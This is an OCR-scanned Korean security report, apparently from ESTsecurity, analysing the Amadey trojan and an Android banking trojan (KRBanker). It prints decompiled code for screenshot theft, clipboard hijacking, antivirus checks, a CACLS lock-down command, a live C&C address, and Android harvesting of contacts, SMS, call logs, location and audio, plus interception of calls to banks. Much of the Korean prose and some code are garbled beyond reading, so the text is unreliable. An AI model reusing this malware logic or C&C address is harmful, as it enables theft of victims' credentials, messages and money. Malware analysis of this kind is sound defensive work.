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[Trojan.Agent.Amadey]
otMTC EM HA
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Rz, BES SoiM = EF 2 7%%
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Lolish= 402 ATK QUCt ESH X 20| 2IZ0j|A L
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1. F814A1F5BO0A21CFBO6CE37B8B6B1837 =4
1) A7t =
A ZEH(%TEMP%) 519l ‘44cb70d772\mnolyk.exe’Z X7t EX[$H |, 0| H2|Xt HPtoZ AsiCt,

ifF { w21 )
w22 = B;
32 = u22;
u23 = &szAgent;
if { v21 )
w23 = ;

suhb u1?3ﬂﬂ{&1pﬂperatlun w23, wi2);
w2y = ElpParameters;
if {( al18 >= Bx18 )

v24 = 1pParameters;
v25 = &lpFile;
v26 = &lpOperation;
if ( al2 >= Bx18 )
w2t = 1pFile;
if ( a6 »= 8x18 )
v26 = lpOperation;
v27 = ShellExXecuteA{fd, v26, v2s,
[23! 1] M mo|2E ClREE =
0|, O] X7t =H|El 2= Y= 'CACLS EHOIE Sofl oY AH| 2l HE o & 9l=E 27| et

HOf3iCY,

echo Y|CACLS "mnolyk.exe™ /P "Jjohn:N"&&CACLS "mnolyk.exe"™ /P “john:R"
/E&BRecho Y|CACLS "..\44cb70d772" /P "john:N"&&CACLS "..\4dcb7@d772"

"john:R" JE&&Exit
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I3 'b2495bad3b8b6bd87fe0cc45d76038ab’ 0|52| FEHIAE HHEotC}.

Ml
0
0=
al
mufn
—{O

uB = &lpHame;
if ( vi >= 8 )
ug = 1pHame;

CreateutexW(d, @, uvd);
if { GetLastError{) == 183 )
1

sub_41CHFF (0} ;
goto LABEL 24;

ulg >= 8 )}

1pHame ;
2 = w18 + 2 >= Bz108688 )

= *#{1pHame - 1j);
{ {lpHame - w9 - 43) > Bx1F )}
goto LABEL_ 24;
¥

unknown libname 3{v9};

d

I
k)
ofy

i
>
0%
0x
A
kU
[n

o =2o
s Al SES oM 2 AAIEE L AR T2 ZG0f| MAMoict AU o2= ‘Run’ 52 ‘Runs'et 22
E AT XI5 A 2X[AEE| HZ20| SF5t= 40| OH, ‘User Shell Folders'?| ‘Startup’ 242 43 E
X7t =X 22 HESH Ats Adkl= F2 CHE AGT =S AFERIE0] /UL
RIS 4 22 Aoy
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders 2| ‘Startup'S
A|RH T2 T1EH
AL Xt =X 222 HE
A A= TAIZIOCE FETE HAHSI=F 2 AHES S5
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4) B Hof 7|5

41) PC HE

C&C('91.245.254.77/nIS2kZZZc3/index[.Jphp’)0ll OF2H2t &2 AAS HF0M HE METIC HE TS 0|,
HH M| 7|50| MM=ICE 2 avoflM 13 2 Windows OS 0| €l C|EIH(Win Defender)?t 7|2XM0Z
EIE]7| AIZHEl 21T 8 O]AF =2 Windows Server 2016 O|AfS| @M MEE 2olsh= B EMZ

Win Defender 2 7 |R{3HCt.

% Ao
og (Tt 37| —-0x30D41)0| 0x1387E L} O[5t Q1 AR 1, O|Al0l AL 0
v 7|22k 002 MY
BHAL OJAX] : 0
AVAST Software: 1
Avira: 2
Kaspersky Lab: 3
ESET: 4
Panda Security : 5
Doctor Web : 6
a AVG:7
360TotalSecurity : 8
Bitdefender: 9
Norton: 10
Sophos: 11
Comodo: 12
Win Defender: 13
dm ARE M2l o|F
un AMEXt Ol
pc ARE Ol
ar ZE|X} Moo= Ml RF(Yes:1,No:0)
bi OS Bit(x86: 0, x64:1)
0s I HH M2
sd SIEDYE 2i('4d94ab’)
Vs '3.67'
id LTFE AFEXIS| SID Zte| U

[E 2) ¥ T8 92 8 A
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4.2) PC AT %

OfEfl= 6 & ZHEH2

—_

“?2scr=1" Query String & AF23ICE

vhi = GetSystemMetrics{u?7);
if { vl > cy )
{

=1;

LABEL_56:

cy = GetSystemMetrics({u?7);
H
uh? hdc ;
i3 CreateCompatibleDC(hdc);
111 uh3;
uhy CreateCompatibleBitmap(ui2, v188, cy);
ho = ull;
h = SelectDbject(uvid, ulh);
BitBlt(v43, @, 8, vi188, cy, hdc, 8, 8, BXCCOA2Pu);
e = @;
GdipCreateBitmapFromHBITHAP (w44, B, &v99);
vii6 = A;
ueg = @;
GdipGetImageEncodersSize(&w116, &u98);
if { v9B )
{
ulS = sub_41DDBEB(uv98);
Ul = ulhh;
ug2 = uht;
if { v4s )
{

GdipGetImageEncoders{vii6, v98, ui5);
uhy = @;

if { vi16 )

1

5) BE Hof 7|5
FH ME o|, SAXe| 2|0 w2} ofzie| BE H|o| 7|s0| s~E =~ QUCk
HHo] 7ls 29

0 exe =7t H|O|2C CIRZE 9l A%

1 DIl &7} H|0|2E CIRZE 5l AR

2 cmd EHEO| A%

3 URLOllA H[O|Z2E CHRZC 5 Al

4 PowerShell AAZIE CI22CE 31 AlH

5 exe =7t H|O|2C CIRZC 3 At XI5 A S5

6 DIl =7} H|0|2E CIRZE 8l Adlnt XI5 Al S5

7 cmd B A 3l X5 Al 5=

8 Cacls HHOZ #ot oM X Z2MA B

9 T2 13 XpIt ARE|

[H 3] BHN E 7|5 &5
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|52 28i5t7| QshA AMTE Lol 7|HEl 2E 0|2 (cred64.dll, clip.dl)S C&C 22

if ( vwsS > 200088 )

{
ul12 = &u7h;
sub 417348 (Ev70, &dword 43CBuUY);
decrypt_strings(v78, w71, w72, u73, uFih, u¥5);
LOBYTE{v118) = 24;

oL:

sub 17348 (Eu70, &ui15);

LOBYTE{v118) = 23;

LOBYTE{w59) = exec_rundll32 dll{w/s@, v/1, vwi2, u73, vilh, uit, u/i
goto LABEL 96;

[2% 5] Ci22E 2

rlo

= AlS old
2E A T Y

CHR2E & £ A= 2 o B J|s A= ofefiet 2Lt

OiE2IAH0IE B OhZ2|7[0lM oIS
credé4.dll PCOf| 2X|E 2 oiZ2[AH0[Me] F2|H1E Y &
clip.dil SEEE0| MYE Pt FAE SISk 7Is

[E 4] Amadey Module & 7|5 MY

2. cred64.dll EA4
PC 0off AX|=l ofSZ[A|o|Me| A|HIE MEE EFSICt olelis A2|HE ME B =R AKX LE2l=
OEZ|AIO|MOE ¢ HEIRKN, HIAK, FTP 22I0|ME, Yol T2 1M tHAOZ SICL ME £ 0|F

EXSHOZ SHKIA HHEICY.

oiZ=A0I1M 7 OhZ2[301M oIF
Chrome, Opera, Edge, Sputnik, Chromium, Orbitum, Vivaldi, Comodo, CocCoc,
Chedot, CentBrowser, Firefox,

2 Hzter

A Pidgin, Telegram
FTP S20[¢IE WInSCP, FileZilla
Aol Electrum, Armory, Dogecoin, Litecoin, DashCore, Monero

[ 5] 231 Ch! ofZebiols B
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3. clip64.dll £

SEEC0| MEE ool FAE S
7t
[=]

A== SAXIE EES| K|

ud = pperator new[]{a5 + 1};
ulB = &lpHem;
vl ug;
if ( a6 »>= B8x18 )

ul@ = l1pHem;
vi2 = v? - uilf;
do
{

U113 = =p18++;

ul18[wi2 - 1] = vl13;
H
while { vi13 3;
ulh strlenf{uvii};
uis GlobalAlloc{Zu, vii + 1});
ulhb U5 ;
T} I GloballLock{wi15};
memmove{uv1y, vil, uil + 13;
GlobalUnlock{uv1d4);
OpenClipboard{8);
EmptyClipboard();
SetClipboardData{iu, vulb);
result = CloseClipboard()};
vy ab;
T} 1pHem;

[02! 6] SR MEE L X2 4 HE 2

3. 2E
‘Amadey’ 2dAE= AFEXL PC EE 8 A HE 7S JREO|C). ot R7HHo=z BES
CHRECSOCREM 7|2 7|s 29 SEEE MEE Sz A HE 7|5, 7t oiF2A01M F2[HdE -

23| 71i50| Mgl 4 Quck

7|HA0l| M Ol2fet Rl AHIAC0 HYE F2 wER= R, dEE YRS tiyez A2HE AHY 502
S20| 0|0 At YEOIME 2 Xt 2ol =EE & U= T2 CIE0 O|AEA|IFE[E| of
=Z(https://blog.alyac.co.kr/4968)0| A SIHAUCIAIL], =01 ZLHE CheC= of CIE AGAE=; AHAE(0]

FEE = A= ol 22 7122 ER7t Ut

[ }

—_—

[l2tA O] FERE0M HES A | fiBlIM= X7 22 AO|E WollM URL, ofY CHR2EES X| 250k

Ct.

rot

PRl AofofM= 2 AHIAEE Trojan.Agent.Amadey’= TITHHD QICE
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[Trojan.Android. KRBanker]
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e
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12
0x
kLl
N
Hr
1=
HT
=l
X

19
0%
2

o FR 7lsE dHELE SHC.

717| ME 2| (MAC F2, Sim HE, H3} #s, IME|, 5)
eSS

HX| A 2|AE 23|

2Ix| B 24

[e

e Y2 mfohxtel A=A, SMS Sof T 2o O|0|X| mjgint QU =5 SO=2 LfsAIe| LS 71l F&

SFE Aot E EHFE 2t 7IsSS 2=E Sl HmECL

J

Il

TelephonyManager telephonyManager® = (TelephonyManager)context@.getSystemService("phone™);
if(telephonyManager® == null) {

return;
}

int v =20;

int vl =2;

if(g.00000000(context®) == 2) {
v=1;

try {
this.0000.setHaveCard(g.0000000(context@));
}

catch(txception exception®) {
goto label _76;

}

String s = null;

try {
s1 = g.0000(g.0000(telephonyManager@, "getSimOperatorGemini”, v));
s2 = g.0000(g.0000(telephonyManagerd, "getSimOperatorGemini”, v1));
goto label 46;

catch(txception unused_ex) {

}

catch(Throwable throwabled) {
sl = null;
goto label 44;

}

[72) 6] 717| F =¥ B A
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Arraylist arraylist®;
Class class® = l.class;
synchronized(class@) {
arrayList® = new Arraylist();
ContentResolver contentResolver® = context®.getContentResolver();
String[] arr_s = {"_id", "datal", "display_name", "contact_last_updated_timestamp"};
Cursor cursor® = v <= 8L ? contentResolver®.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, arr_s, null, null, " contact
if(cursor® != null) {
while(cursor®.moveToNext()) {
String s = cursor@.getString(@);
String s1 = cursor®.getString(1).replace(” “, "“).replace(”-", "");
String s2 = cursor@.getString(2);
String s3 = cursor@.getString(3);
arraylList@.add(new ContactItem(0000x00.0000(s, OL), s2, s1, s3, "2023-03-10 21:18:42", "2023-83-18 21:18:42", ((int)e@)));
}

cursor@.close();
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ContentResolver contentResolver® = context®.getContentResolver();
String[] arr_s = {"_id", “"thread_id", "address", "person"”, "date", “type”, “"body"};
Cursor cursor® = v <= BL ? contentResolver®.query(d.00x00, arr_s, null, null, “date desc LIMIT 200 ")
if(cursor® == null) {
return list@;
}

while(cursor@.moveToNext()) {
SmsItem smsItem@ = new SmsItem();
smsItem@.setSms_id(cursor@.getString(cursord.getColumnIndex(”_id")));
smsItem@.setThread_id(cursor®.getString(cursord.getColumnIndex(”thread_id")));
smsItem@. setAddress(cursor®.getString(cursord.getColumnIndex(“address™)));
smsItem@.setPerson(cursord.getString(cursord.getColumnIndex(“person”)));
smsItem@.setDate(00x000.00008(cursord.getlong(cursord.getColumnIndex(“date™))));
smsItem@.setType(cursor®.getString(cursord.getColumnIndex(“type”)));
smsItem@.setBody(cursor®.getString(cursord.getColumnIndex(“body™)));
smsItem@.setCreateAt("2023-03-10 21:25:15");
smsItem@.setUpdateAt("2023-03-10 21:25:15");
smsItem@.setSyncServer(Integer.value0f(®));
if(list@.contains(smsItem@)) {

continue;

}

list@.add(smsItem@);
}

return 1list@;

[J2! 8] SMS &t 3=
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try {
Cursor cursor® = context®.getContentResolver().query(
int v = cursor@.getColumnIndex("“number”);
int vl = cursor@.getColumnIndex(“type");
int v2 = cursor@.getColumnIndex(“date");
int v3 = cursor@.getColumnIndex("duration”);
if(cursor® == null) {
return arraylist@;
}

while(cursor@.moveToNext()) {
String s = 0.0000(cursor®.getInt(vl));

Calllog.Calls.CONTENT_URI, null, null

String s1 = 00x800.0000(Long.valueOf(cursord.getString(v2)).longValue());

String s2 = cursor@d.getString(v);
if(s2.isEmpty()) {

$2 = "Unknown";
}

CallLogItem calllLogItem® = new CalllogItem();
calllLogItem@.setPhoneNumber(0.00x000(s2));
callLogItem@.setPhoneNumberName("");

calllogItem@.setCallDuration(cursor®.getString(v3));
calllogItem@.setCallDirection(Integer.valueOf(vl));

calllogItem@.setCallDirectionName(s);
calllogItem@.setCallDate(sl);
calllLogItem@.setCallType(@);
calllLogItem@.setDataType(Integer.value0f(@));
calllogItem@.setDataImei("");

calllLogItem@.setForwardingCoverageBlackNumber("");

arraylList®.add(callLogItem@);

if(arraylList@.contains(callLogItem@d)) {
continue;

}

arraylList@.add(calllLogItem®);

[2E 9] 8%t 7I= B3 2=
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0000.0000("i", “"endCall changedPhoneState() # ENTER ...

catch(Exception exception®) {
exception®.printStackTrace();

catch(Throwable throwable®) {
throwable®.printStackTrace();
}

try {
0000.0000("i", "endCall changedPhoneState() # ENTER ...

catch(Exception exceptionl) {
exceptionl.printStackTrace();

)

catch(Throwable throwablel) {
throwablel.printStackTrace();

b

try {
0000.0000("i", "endCall changedPhoneState() # ENTER .

catch(Exception exception2) {
exception2.printStackTrace();

}
catch(Throwable throwable2) {
throwable2.printStackTrace();

}

try {
1.00x000(context®d);

}

ESTsecuRITY Copyright®2022 ESTsecurity Corp.all rights reserved.
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isKillCall:" + 1.00x00(context®));

. endCall:" + 1.0000());
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TelephonyManager telephonyManager® = (TelephonyManager)context®.getSystemService("phone");

Method method@® = Class.forName(telephonyManager®.getClass().getName()).getDeclaredMethod("getITelephony™);
method@.setAccessible(true);

Object object® = method@.invoke(telephonyManager®);
Class.forName(object®.getClass().getName()).getDeclaredMethod(“endCall”).invoke(object®);

[T 1] =N S8t HE 2

8ot =4 HREE 25l 7HK1 = SEHRIAES BHELL

Ell'_l_

rlo

;;(i;é;&aidl;aais%; E&V’Is:equals("15771$99") && !s.equals("18116100") && !s.equals("©221466688")) {
if(s.equals("1397")) {
return raw.jj_seminsave;
}

if(!s.equals("15883570") && !s.equals("©21588357@")) {
if(!s.equals("0220737997") && !s.equals("15889999") && !s.equals("15999999") && !s.equals("16449999") && !s
if(!s.equals("9215881688") && !s.equals("15881688") && !s.equals("15881788") &% !s.equals("15882788") &
if(!s.equals("15441200") && !s.equals("15772223")) {
if(!s.equals("0220737114") && !s.equals("15886611")) {
if(!s.equals("9221468200") && !s.equals(“18990%00")) {
if(!s.equals("027560505") && !s.equals("15998000") && !s.equals("15773e@e") && !s.equal
if(!s.equals("9215447000") && !s.equals("15448303") && !s.equals("@263603000") && !
if(!s.equals("15446800") && !s.equals("927733400")) {
if(!s.equals("0216447777") && !s.equals(“16447777") && !s.equals("18003651"
if(!s.equals("15888801") && !s.equals(“15999000")) {
if(!s.equals("15882100") && !s.equals("98215882100")) {
if(!s.equals("0220805114") && !s.equals(“16613000") && !s.equal
if(!s.equals("16444000") && !s.equals("16447400") && !s.equ
if(!s.equals("928271600") && !s.equals("16443700") && !
if(!s.equals("15885191") && !s.equals("15669574") &
if(!s.equals(15991842") && !s.equals("15991843
if(!s.equals("18001111") && !s.equals("1300
if(!s.equals(“18001110") && !s.equals(”
if(!s.equals("18991122") && !s.equa
if(!s.equals("@220021118") && !

Ctg 122 ofo|x| 2% Z=olct,

Cursor cursor® = context®.getContentResolver().query(MediaStore. Images.Media.EXTERNAL_CONTENT_URI, new String[]{"_ic
if(cursor® != null & (cursor@.moveToFirst())) {

int v = cursor@.getInt(cursord.getColumnIndex(”_id"));

return Uri.withAppendedPath(Uri.parse("content://media/external/images/media”), "" + v);

}
if(new File(s).exists()) {
ContentValues contentValues® = new ContentValues();

contentValues@.put("_data”, s);
return contextd.getContentResolver().insert(MediaStore. Images.Media.EXTERNAL_CONTENT_URI, contentValues@);

[22113] o|o|X| & 2=
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this.0000 = "AudioRecord_" + 00x00.0000(this.00x00).0000() + “.mp3";
try {
this.0000.0000(m.0000(), this.0000, v, new com.xyzhl.00x000.h.0000() {
@verride 0. h{
public void 0000(00x000 00x0000) {
0000.0000( "kkkkk", ">> # onRecordingStartWithSeconds mRecordTime:" + 00x0000);
f.this.000x000 = false;
RecordItem recordItem@ = f.this.0000(08x0000);
com.xyzh1.0000.0000.0000() .0000(recordItem@, new com.xyzhl.0800.0000.0000() {
@verride z ( (
public void 0000() {
Log.e("kkkkk", “>>> # autoMp3() # ENTER autoApps() onNextComplete()");
if(com.xyzh1.00x800.f.1.this.0000 != null) {
com.xyzh1.00x000.f.1.this.0000.0000();
¥

[J214] 2C|Q =2 A=

CtS2 AX| o 2|AE &% 3=0|CH

PackagelInfo packageInfo@ = context@.getPackageManager().getPackageInfo(context@.getPackageName(), @);
this.0000.setlLastUpdateTime(packageInfo@. LastUpdateTime);
this.0000.setFirstInstallTime(packageInfo®.firstInstallTime);
this.0000.setAppVersionName(packageInfo@.versionName) ;

this.00x00.setlLastUpdateTime(packageInfod. LastUpdateTime);
this.00x00.setAppVersionName(packageInfo@.versionName) ;

[O2 15] EX| ff 2|AE & ZE

LHE2 21Xl 28 EFfoh= Z=0|ct

com.xyzh1. v . 0000.0000.0000( "RtmMsg”, “>> # startLocation() # ENTER COMMAND_GPS isMainThreadl:" + 0000.0000());
this.0000( "@5e###100" ) ;
00x000.0000 (this.0000) .0000(new com.xyzhl.baidus.0000() {
@verride
public void 0000(Location location®) {
Log.e("UpdatelLastLocation2", “"UpdatelLastlLocation_location.getlatitude():" + location@.getlatitude());
Log.e("UpdateLastLocation2"”, "UpdatelastLocation_location.getlongitude():" + location@.getlongitude());
com. xyzh1 . wwwwwivw . 0000 .0000.0000( "RtmMsg"”, ">> # startlocation() # ENTER COMMAND_GPS isMainThread2:" + 0000.0000());
double f = location@.getlatitude();
double f1 = location@.getlongitude();
GpsItem gpsItem@ = new GpsItem();
gpsItemd.setCoorType("bde9ll");
try {
gpsItemd.setlLocTime(com.xyzhl. wwwwvw . 0000 .00x000.0000( " 2023-83-18 23:31:57"));

catch(Exception exception@) {
exception@.printStackTrace();
}

gpsItemd.setlLatitude(location®.getLatitude() + "");
gpsItemd.setlongitude(location@.getlongitude() + "");
gpsItemd.setlongitudeLatitude(location@.getlatitude() + “," + location@.getLongitude());
new LocationClientOption().0000("gcj@2");

com.xyzhl.baidus.00x00 00x000 = com.xyzhl.baidus.0000.0000(f, f1);

StringBuilder stringBuilder® = new StringBuilder();
stringBuilderd.append(00x800.0000());

stringBuilder®.append(”,");

stringBuilderd. append(00x000.0000());

[2E 16] HXIE 23
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3 Dim strirgs
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